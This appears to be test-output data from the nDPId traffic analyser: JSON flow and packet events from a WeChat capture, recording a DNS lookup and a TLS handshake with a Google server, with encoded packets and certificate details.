+00653{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":11,"source":"wechat.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1492167342857,"flow_last_seen":0,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":60,"flow_max_l4_data_len":60,"flow_avg_l4_data_len":60,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":53734,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Google","breed":"Unrated","category":"Web"},"dns": {"query":"safebrowsing.googleusercontent.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00701{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167342,"pkt_ts_usec":893346,"pkt_caplen":272,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":272,"pkt_l4_len":238,"pkt":"eJKcD6iO8IQvSpdgCABFoAECAABAAEARtJXAqAH+wKgBZwA10eYA7qtlPBmBgAABAAIABAAEDHNhZmVicm93c2luZxFnb29nbGV1c2VyY29udGVudANjb20AAAEAAcAMAAUAAQAANssADgJzYgFsBmdvb2dsZcArwEAAAQABAAAAxwAErNkWDsBDAAIAAQAACYwABgNuczHARcBDAAIAAQAACYwABgNuczTARcBDAAIAAQAACYwABgNuczLARcBDAAIAAQAACYwABgNuczPARcBqAAEAAQABNLQABNjvIArAjgABAAEAATS0AATY7yIKwKAAAQABAAE0tAAE2O8kCsB8AAEAAQABNLQABNjvJgo="} +00683{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":12,"source":"wechat.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":2,"flow_first_seen":1492167342857,"flow_last_seen":1492167342893,"flow_tot_l4_data_len":298,"flow_min_l4_data_len":60,"flow_max_l4_data_len":238,"flow_avg_l4_data_len":149,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":53734,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Google","breed":"Unrated","category":"Web"},"dns": {"query":"safebrowsing.googleusercontent.com","num_queries":1,"num_answers":10,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"172.217.22.14"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":13,"source":"wechat.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1492167342893,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"172.217.22.14","src_port":38657,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167342,"pkt_ts_usec":893680,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8IQvSpdgeJKcD6iOCABFAAA8j4ZAAEAGJj\/AqAFnrNkWDpcBAbvnsj+XAAAAAKACchDgsAAAAgQFtAQCCAoAMLARAAAAAAEDAwc="} +00435{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167342,"pkt_ts_usec":941852,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8xIIAADIGPqOs2RYOwKgBZwG7lwHnJuhS57I\/mKASpajHRwAAAgQFZAQCCApd2bi8ADCwEQEDAwc="} +00422{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167342,"pkt_ts_usec":941899,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0j4dAAEAGJkbAqAFnrNkWDpcBAbvnsj+Y5yboU4AQAOWaewAAAQEICgAwsB1d2bi8"} +00722{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167342,"pkt_ts_usec":942107,"pkt_caplen":288,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":288,"pkt_l4_len":254,"pkt":"8IQvSpdgeJKcD6iOCABFAAESj4hAAEAGJWfAqAFnrNkWDpcBAbvnsj+Y5yboU4AYAOXwqgAAAQEICgAwsB1d2bi8FgMBANkBAADVAwNGweD9NUKL5AVTYyYP+mu6+yZ5eVPxgI+DpY7zF4i1IwAAIEpKzKnMqMwUzBPAK8AvwCzAMMATwBQAnACdAC8ANQAKAQAAjOrqAAD\/AQABAAAAACcAJQAAInNhZmVicm93c2luZy5nb29nbGV1c2VyY29udGVudC5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjEACwACAQAACgAKAAjKygAdABcAGPr6AAEA"} +00741{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":16,"source":"wechat.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":4,"flow_first_seen":1492167342893,"flow_last_seen":1492167342942,"flow_tot_l4_data_len":366,"flow_min_l4_data_len":32,"flow_max_l4_data_len":254,"flow_avg_l4_data_len":91,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"172.217.22.14","src_port":38657,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"safebrowsing.googleusercontent.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00422{"flow_id":5,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167342,"pkt_ts_usec":994339,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0xKkAADIGPoSs2RYOwKgBZwG7lwHnJuhT57JAdoAQAVSY+QAAAQEICl3ZuPEAMLAd"} +02326{"flow_id":5,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167342,"pkt_ts_usec":995064,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"eJKcD6iO8IQvSpdgCABFoAW+xKoAADIGOPms2RYOwKgBZwG7lwHnJuhT57JAdoAQAVREYwAAAQEICl3ZuPEAMLAdFgMDAT4CAAE6AwNY8KquurQREh2KA56GFyNwM5NNQTAm\/6ElicqXKStoqADMqQABEv8BAAEAABcAAAAjAAAAEgDyAPAAdwCkuQmQtBhYFIe7E6LMZ3AKPDWYBPkb37jjd80OyA3cEAAAAVs\/SFoKAAAEAwBIMEYCIQD6zHRrh9AcxzPMFYouW3wGAA5k400xB8JLp\/vnuoRXTQIhAJa\/qK2iQ4DYAdp5cF41mcMUKrtPMyaAB4jQJuhQ9yd\/AHUA3esdK3oNT6Ygi4GtgWhwfi6OnQHVXIiNPRHEzbbsvswAAAFbP0hagwAABAMARjBEAiApqxJ58Ienlh5fRXTZgXKhjqBeF9+AZpEZdiV6F4rGmwIgUSNGsv++wkBf75eOZfy2MnVNK8iuK65K9WF29UDC+DIAEAAFAAMCaDIACwACAQAWAwMOqwsADqcADqQAByYwggciMIIGCqADAgECAgg4NhvsMkLjzTANBgkqhkiG9w0BAQsFADBJMQswCQYDVQQGEwJVUzETMBEGA1UEChMKR29vZ2xlIEluYzElMCMGA1UEAxMcR29vZ2xlIEludGVybmV0IEF1dGhvcml0eSBHMjAeFw0xNzA0MDUxNzE0NDZaFw0xNzA2MjgxNjU3MDBaMHExCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApDYWxpZm9ybmlhMRYwFAYDVQQHDA1Nb3VudGFpbiBWaWV3MRMwEQYDVQQKDApHb29nbGUgSW5jMSAwHgYDVQQDDBcqLmdvb2dsZXVzZXJjb250ZW50LmNvbTBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABAKrkboiiJDAZ7SAVzgulTL2i0xA34tqt\/GkkUNqbVAa39AygcAl8NIrqp02Ks65Dv1uPMcCUMhh36AWeZeXDlCjggSvMIIEqzAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwCwYDVR0PBAQDAgeAMIIDbgYDVR0RBIIDZTCCA2GCFyouZ29vZ2xldXNlcmNvbnRlbnQuY29tghwqLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tgiQqLmFwcHNwb3QuY29tLnN0b3JhZ2UuZ29vZ2xlYXBpcy5jb22CDiouYmxvZ3Nwb3QuY29tghEqLmJwLmJsb2dzcG90LmNvbYIiKi5jb21tb25kYXRhc3RvcmFnZS5nb29nbGVhcGlzLmNvbYIpKi5jb250ZW50LXN0b3JhZ2UtZG93bmxvYWQuZ29vZ2xlYXBpcy5jb22CJyouY29udGVudC1zdG9yYWdlLXVwbG9hZC5nb29nbGVhcGlzLmNvbYIgKi5jb250ZW50LXN0b3JhZ2UuZ29vZ2xlYXBpcy5jb22CHCouZG91YmxlY2xpY2t1c2VyY29udGVudC5jb22CCyouZ2dwaHQuY29tghEqLmdvb2dsZWRyaXZlLmNvbYIXKi5nb29nbGVzeW5kaWNhdGlvbi5jb22CFCouZ29vZ2xld2VibGlnaHQuY29tgh8qLnNhZmVudXAuZ29vZ2xldXNlcmNvbnRlbnQuY29tgh8qLnNhbmRib3guZ29vZ2xldXNlcmNvbnRlbnQuY29tgiEqLnN0b3JhZ2UtZG93bmxvYWQuZ29vZ2xlYXBpcy5jb22CHyouc3RvcmFnZS11cGxvYWQuZ29vZ2xlYXBpcy5jb22CGCouc3RvcmFnZS5nb29nbGVhcGlzLmNvbYIfKi5zdG9yYWdlLnNlbGVjdC5nb29nbGVhcGlzLmNvbYIMYmxvZ3Nwb3QuY29tgg9icC5ibG9nc3BvdC5jb22CIGNvbW1vbmRhdGFzdG9yYWdlLmdvb2dsZWFwaXMuY29tghpkb3VibGVjbGk="} +00806{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":18,"source":"wechat.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":6,"flow_first_seen":1492167342893,"flow_last_seen":1492167342995,"flow_tot_l4_data_len":1848,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"172.217.22.14","src_port":38657,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"safebrowsing.googleusercontent.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"d655f7cd00e93ea8969c3c6e06f0156f","unsafe_cipher":0,"cipher":"TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256","alpn":"h2,http\/1.1"}} +00422{"flow_id":5,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167342,"pkt_ts_usec":995102,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0j4lAAEAGJkTAqAFnrNkWDpcBAbvnskB25ybt3YAQAPuTuwAAAQEICgAwsCpd2bjx"} +02336{"flow_id":5,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167342,"pkt_ts_usec":997432,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"eJKcD6iO8IQvSpdgCABFoAW+xKsAADIGOPis2RYOwKgBZwG7lwHnJu3d57JAdoAQAVSEawAAAQEICl3ZuPEAMLAdY2t1c2VyY29udGVudC5jb22CCWdncGh0LmNvbYIPZ29vZ2xlZHJpdmUuY29tghVnb29nbGV1c2VyY29udGVudC5jb22CEmdvb2dsZXdlYmxpZ2h0LmNvbYIrc3RhdGljLnBhbm9yYW1pby5jb20uc3RvcmFnZS5nb29nbGVhcGlzLmNvbYIWc3RvcmFnZS5nb29nbGVhcGlzLmNvbYIdc3RvcmFnZS5zZWxlY3QuZ29vZ2xlYXBpcy5jb22CD3VuZmlsdGVyZWQubmV3czBoBggrBgEFBQcBAQRcMFowKwYIKwYBBQUHMAKGH2h0dHA6Ly9wa2kuZ29vZ2xlLmNvbS9HSUFHMi5jcnQwKwYIKwYBBQUHMAGGH2h0dHA6Ly9jbGllbnRzMS5nb29nbGUuY29tL29jc3AwHQYDVR0OBBYEFPZmMOxU8xwpydFww8MTbwRomwiqMAwGA1UdEwEB\/wQCMAAwHwYDVR0jBBgwFoAUSt0GFhu89mi1dvWBtrtiGrpagS8wIQYDVR0gBBowGDAMBgorBgEEAdZ5AgUBMAgGBmeBDAECAjAwBgNVHR8EKTAnMCWgI6Ahhh9odHRwOi8vcGtpLmdvb2dsZS5jb20vR0lBRzIuY3JsMA0GCSqGSIb3DQEBCwUAA4IBAQAYiEQBl7yedUexGn6szb3MDK+IoIme10CDCNC8ql3aYKkvuR3AEvDcl87Ez5KuT0A\/6I9Jc\/8HV73OtPWhI1YE2m15XbZIjcu8Q4qo89fsjaJyJTa4PlIhyjTGCkuwiI3VInPzZ03gfuY2eOPAUJaYgYKqOMyEJpNoB5DxBGx5hm1KEUDlbBawaf1ntbTzowHgByJW+jYm4PvP6Oum12DCY0ztkjRpc8sllOzCXDFmUcsuqqS0osz3j2avh1dG\/xO4Z4LJMumlpAqqKqJLsHTPuINEPDQLwbweSYoMaFQTGpDXsWlvUVZnUp2VXTytCZCGWCOGQLMl0NzsNqBV1DSlAAP0MIID8DCCAtigAwIBAgIDAjqSMA0GCSqGSIb3DQEBCwUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMTUwNDAxMDAwMDAwWhcNMTcxMjMxMjM1OTU5WjBJMQswCQYDVQQGEwJVUzETMBEGA1UEChMKR29vZ2xlIEluYzElMCMGA1UEAxMcR29vZ2xlIEludGVybmV0IEF1dGhvcml0eSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJwqBHdc2FCROgajguDYUEi8iT\/xGXAaiEZ+4I\/F8YnOIe5a\/mENtzJEiaB0C1NPVaTOgmKV7utZX8bhBYASxF6UP7xbSDj0U\/ck5vuR6RXEz\/RTDfRK\/J9U3n2+oGtvh8DQUB8oMANA2ghzUWx\/\/zo8pzcGjr1LEQTrfSTe5vn8MXH7lNVg8y5Kr0LSy+rEahqyzFPdFUuLH8gZYR\/Nnag+YyuENWllhMgZxUYi+FOVvuOAShDGKuy6lyARxzmZEASg8GF6lSWMTlJ14rbtCMoU\/M4iarNOz0YDl5cDfsCx3nuvRTPPuj5xt970JSXCDTWJnZ37DhF5iR43xa+OcmkCAwEAAaOB5zCB5DAfBgNVHSMEGDAWgBTAephojYn7qwVkDBF9qn1luMrMTjAdBgNVHQ4EFgQUSt0GFhu89mi1dvWBtrtiGrpagS8wDgYDVR0PAQH\/BAQDAgEGMC4GCCsGAQUFBwEBBCIwIDAeBggrBgEFBQcwAYYSaHR0cDovL2cuc3ltY2QuY29tMBIGA1UdEwEB\/wQIMAYBAf8CAQAwNQYDVR0fBC4="} +00422{"flow_id":5,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167342,"pkt_ts_usec":997482,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0j4pAAEAGJkPAqAFnrNkWDpcBAbvnskB25ybzZ4AQARGOGgAAAQEICgAwsCtd2bjx"} +02275{"flow_id":5,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167342,"pkt_ts_usec":997934,"pkt_caplen":1442,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1442,"pkt_l4_len":1408,"pkt":"eJKcD6iO8IQvSpdgCABFoAWUxKwAADIGOSGs2RYOwKgBZwG7lwHnJvNn57JAdoAYAVRFrwAAAQEICl3ZuPEAMLAdMCwwKqAooCaGJGh0dHA6Ly9nLnN5bWNiLmNvbS9jcmxzL2d0Z2xvYmFsLmNybDAXBgNVHSAEEDAOMAwGCisGAQQB1nkCBQEwDQYJKoZIhvcNAQELBQADggEBAAhOBKeAfxAWQ14CrddCgPSwjtKus+sRfZCEGH3nkBX7SX+omQWRu3rJ1jw3GAmatseSIAc1MwnkKGNyDbTgMpyHmMQbdolnwVBYsBOqExobMqW+6hGVTEhjSemZXSA3zP4qaVEWlUup3kmCwBBw9Czz7LwkJNBOrKXZXh5tksGnrEg1gfnl5Jxlac2HpEFQPy5XpZFRElgOjAmhrHqkEqUn85oQl31VAwb3ZlhfX2Thq11tpTlIdZhMKVo6jdMrypxVBL\/05hTVgKwm7ReJppNsXKTMuPBmjmTjfZriALNJx+QKqt1bg8dwkEZOvtDbWZZsLvUWNt5xzAHCEsEhxhYAA4EwggN9MIIC5qADAgECAgMSu+YwDQYJKoZIhvcNAQEFBQAwTjELMAkGA1UEBhMCVVMxEDAOBgNVBAoTB0VxdWlmYXgxLTArBgNVBAsTJEVxdWlmYXggU2VjdXJlIENlcnRpZmljYXRlIEF1dGhvcml0eTAeFw0wMjA1MjEwNDAwMDBaFw0xODA4MjEwNDAwMDBaMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDazBhjMP30FyMaVn5b3zxsOORxt3iR1Lyh2Ez4qEO2A+lNIQcIiNpYL2Y5Kb0FeIudOOgFt2p+caTmxGCmsO+A5IkoD54l1u2D862mkceYyUIYNRSdrZhGki5PyvGHQ8EWlVctUO+JLYB6V63y7l9r0gCNuRT4FBU12cBGo3tyyJG\/yVUrzdCXPpwmZMzfzoMZccpO5tTVe6kZzVXeyOzSXjhT5VxPjC3+UCM2\/Gbmy46kORkAt5UCOZELDv44LtEdBZr2TT5vDwcdrywej2A54vo2UxM51F4mK9s9qBS9MusYAyhSBHHlqzM94Ti7BzaEYpx56hYw9F\/AK+hxa+T5AgMBAAGjgfAwge0wHwYDVR0jBBgwFoAUSOZo+SvSspXXR9gjIBBPM5iQn9QwHQYDVR0OBBYEFMB6mGiNifurBWQMEX2qfWW4ysxOMA8GA1UdEwEB\/wQFMAMBAf8wDgYDVR0PAQH\/BAQDAgEGMDoGA1UdHwQzMDEwL6AtoCuGKWh0dHA6Ly9jcmwuZ2VvdHJ1c3QuY29tL2NybHMvc2VjdXJlY2EuY3JsME4GA1UdIARHMEUwQwYEVR0gADA7MDkGCCsGAQUFBwIBFi1odHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkwDQYJKoZIhvcNAQEFBQADgYEAduESbk5LFhKGMAaygQjP8AjHx3F+Zu7C7dQ7H\/\/w8MhO1kM4sLkwfRjQVYOiass2EZzoSGajbX+4E9RH\/otaXHP8rtkbMhk4q5c0FKqW0uujHBQISba75ZHvgzbrHVZvytq8c2OQ5H97PiLLPQftXzh0nOMDUE6hr5juYfKEPxIWAwMAcwwAAG8DAB0gWdP3SuZNEbqAMhXJOSFDDnIjP8zVITtmWlwncBRgFB0EAwBHMEUCIQDiaflQYNp9p0QNfVSp7yJP9jXANWJWQjzQxJueE4o0KwIgfm9glWCV\/3bNKZwfhouBXCb+W7RlftGaaWwF2qKtvdQWAwMABA4AAAA="} +01890{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":22,"source":"wechat.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":10,"flow_first_seen":1492167342893,"flow_last_seen":1492167342997,"flow_tot_l4_data_len":4770,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":477,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"172.217.22.14","src_port":38657,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"safebrowsing.googleusercontent.com","server_names":"*.googleusercontent.com,*.apps.googleusercontent.com,*.appspot.com.storage.googleapis.com,*.blogspot.com,*.bp.blogspot.com,*.commondatastorage.googleapis.com,*.content-storage-download.googleapis.com,*.content-storage-upload.googleapis.com,*.content-storage.googleapis.com,*.doubleclickusercontent.com,*.ggpht.com,*.googledrive.com,*.googlesyndication.com,*.googleweblight.com,*.safenup.googleusercontent.com,*.sandbox.googleusercontent.com,*.storage-download.googleapis.com,*.storage-upload.googleapis.com,*.storage.googleapis.com,*.storage.select.googleapis.com,blogspot.com,bp.blogspot.com,commondatastorage.googleapis.com,doubleclickusercontent.com,ggpht.com,googledrive.com,googleusercontent.com,googleweblight.com,static.panoramio.com.storage.googleapis.com,storage.googleapis.com,storage.select.googleapis.com,unfiltered.news","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"d655f7cd00e93ea8969c3c6e06f0156f","unsafe_cipher":0,"cipher":"TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256","issuerDN":"C=US, O=Google Inc, CN=Google Internet Authority G2","issuerDN":"C=US, ST=California, L=Mountain View, O=Google Inc, CN=*.googleusercontent.com","alpn":"h2,http\/1.1","fingerprint":"8B:36:AF:31:A2:4C:EE:50:CC:6F:34:F7:2C:A3:C5:B6:4B:02:AC:53"}} +00423{"flow_id":5,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167342,"pkt_ts_usec":997972,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0j4tAAEAGJkLAqAFnrNkWDpcBAbvnskB25yb4x4AQASeIpAAAAQEICgAwsCtd2bjx"} +00541{"flow_id":5,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167343,"pkt_ts_usec":2497,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"8IQvSpdgeJKcD6iOCABFAACJj4xAAEAGJezAqAFnrNkWDpcBAbvnskB25yb4x4AYASdgEgAAAQEICgAwsCxd2bjxFgMDACUQAAAhIFTDoRfECA9UXSx3Sxxy0vP1nhY9Lq9\/lQFw4g+aqXgVFAMDAAEBFgMDACBkfneDcqzi2Nje8E1lOFDpdGYGDUwA+4+JYfiYxYvJ2g=="} +00486{"flow_id":5,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167343,"pkt_ts_usec":10381,"pkt_caplen":111,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":111,"pkt_l4_len":77,"pkt":"8IQvSpdgeJKcD6iOCABFAABhj41AAEAGJhPAqAFnrNkWDpcBAbvnskDL5yb4x4AYAScb2AAAAQEICgAwsC5d2bjxFwMDAChkJ2bB26To\/kNXsOt+kwWJVo63aXLzXxNrnD+7sGyFG3arYue2\/uLN"} +01550{"flow_id":5,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167343,"pkt_ts_usec":24015,"pkt_caplen":895,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":895,"pkt_l4_len":861,"pkt":"8IQvSpdgeJKcD6iOCABFAANxj45AAEAGIwLAqAFnrNkWDpcBAbvnskD45yb4x4AYASfzjAAAAQEICgAwsDFd2bjxFwMDACsKRf1Xn9C\/aN7xUxi\/hM3vpriNty220pLm3SKA6sQTzQkPhFRman1R9b1WFwMDAB2\/FtEjvwdnpqCBWKIVjQOr1SamY63g6hfvlLKyvxcDAwDvEmg0c49TYeFGiDSC8Ug7EUrkwpvKoATdTI0WVcOSo6j3WXQKaMo8dXOXNQtokZMmgPf4GWW9F4RvX\/eLyYbqEsM2wIANVox2KQlf8QRo\/ZlQVU1VJ0too287FPVcd\/cy2Tk8URodRHSYjx2ln+sI4KWbuJc2U0N3M0Ws87a32UepfTQ79dMubHWgYo1B4g1Vk71L8z0ABCpTCVk5RECoMVKk7S7xBTJC5Y10rZWbqztOkeqxXXoB1egNAD2iwbFgFt5YQlc0rqD7Iy2nfqrdcqQoqiGmPLiGzF5DnrMrQ4g1yo\/JlTRc8SW3i2Gx6hYXAwMB8oSpBkXpYiyTTI19E\/Rir3Ae9RYOoKo6eL1MLvfgueFrcfE7WH9Z+Ka3pu6l33YWG5oFJaMZr7ue\/K+vZn62ipqp8+uHaxrTsj5lvZ2QtBLMqyGY+h4t3Kzo0gnvmLLfRD7Auqscv6eGpyv8XU8dzCGyPKQTmLmPd4sAiOcuEVpsvTCE\/PGF1WSPTFgZyXELGL+7dzYZG2efio3hJdgnb6BTVBrGIhO1AWqG0tMmPJd6+WccbUPLZoIFmIHcc\/0icHyeW9DK\/PSe44vS3i++Wx4I9Xs1AEmR5Kt8MOan7mu7PCvtqf4IZk8nIGW8uIT7hPronBtgXrOhUO7q4+Mc3zXu7yrPrVCpPlhd+J+SUBLGd0bNQUbdxyO3NzXwsZr7tNpMpMh5PUvFiVz0GP\/dIdRyorbdzTHsm6XKqAUcK0W\/AGbuhVn\/OjNKzEG3dKiQ+vmbMLUG\/jmIZP2tC+OaZ9rmENqlml3lXoBsB6658Q5D6HY9utk4cxFC+mFEWroJ1AR+BqhGoRJG1jyPzyu\/6a0XGcWhjiaQNRkatx69FQO0+4vdXS7QslnfOGoaYTVTYXBDpRn7jk3ssj99216YUu+AHR7mIG78PypDmd9bZ5HFZBzLn2hjAthfr18exnWo0W2ygMI39O71XT7XhMdllfsKOw=="} +00793{"flow_id":5,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167343,"pkt_ts_usec":49183,"pkt_caplen":336,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":336,"pkt_l4_len":302,"pkt":"eJKcD6iO8IQvSpdgCABFoAFCxNQAADIGPUus2RYOwKgBZwG7lwHnJvjH57JAy4AYAVSbYAAAAQEICl3ZuSkAMLAsFgMDAN4EAADaAAGJvwDUbxVD5pY99MWMwsYGglFDLd4TKc7HNP9Bfj1katTLjm5MUPP4LGAl7joaiNojx2JHv8uDL7LwEDY\/sgs1caWZ0AdGsLQF22vwx9oOj51CHV764BY8TCvvNNG4WjMwNM4OXgNRdZaAvzn0Ebh6tcIV1u8PTBE91h\/fPr8PnkGCX2HG6DgLHozhlAX94ZaimBGpVK2aaCKZA9\/5bR4YZ76aPButHJXvuJ2SyFZ\/fgYpMMbpK\/eCI\/vFAIPzDVW6u\/2\/221xFzCrv5xx4hbqROjJKoMVoXwUAwMAAQEWAwMAIFp8LMo3+xtUYPU5i10hvoNCEPCwhUtawe84m0jq9OGa"} 